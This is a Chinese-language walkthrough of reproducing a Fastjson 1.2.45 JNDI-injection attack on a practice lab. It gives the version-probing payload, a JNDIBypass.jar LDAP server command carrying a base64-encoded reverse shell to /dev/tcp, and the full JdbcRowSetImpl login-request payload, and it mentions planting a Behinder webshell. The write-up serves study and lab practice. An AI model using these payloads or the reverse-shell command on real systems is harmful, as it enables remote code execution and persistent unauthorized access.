漏洞利用#
參考:https://github.com/lemono0/FastJsonParty/blob/main/1247-waf-c3p0/write-up.md
主打一個過程復現,理解漏洞利用流程,網上很多大佬的文章,文章寫得很好,但作為基礎學習還是不夠(特別是用 idea 編譯 java 文件,如何解決依賴等基礎問題,-__-|.),所以就把自己復現過程的流程寫下。
登錄處抓包,請求包如下:
報錯法了解版本
{
"@type": "java.lang.AutoCloseable"
fastjson 版本為 1.2.45
根據作者的描述,需要繞過 JDK 高版本,所以就用到作者的 JNDIBypass.jar 工具
使用 JNDIBypass.jar 文件啟動 ldap 服務
java -jar .\JNDIBypass.jar -a 192.168.80.53 -p 1389 -c "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC44MC41My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
nc 監聽
發送包
POST /login HTTP/1.1
Host: 192.168.80.53
Content-Length: 262
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json; charset=UTF-8
Origin: http://192.168.80.53
Referer: http://192.168.80.53/tologin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.80.53:1389/jpiuw",
"autoCommit":true
}
}
返回 shell
java -jar .\JNDIBypass.jar -h
注入冰蝎馬
連接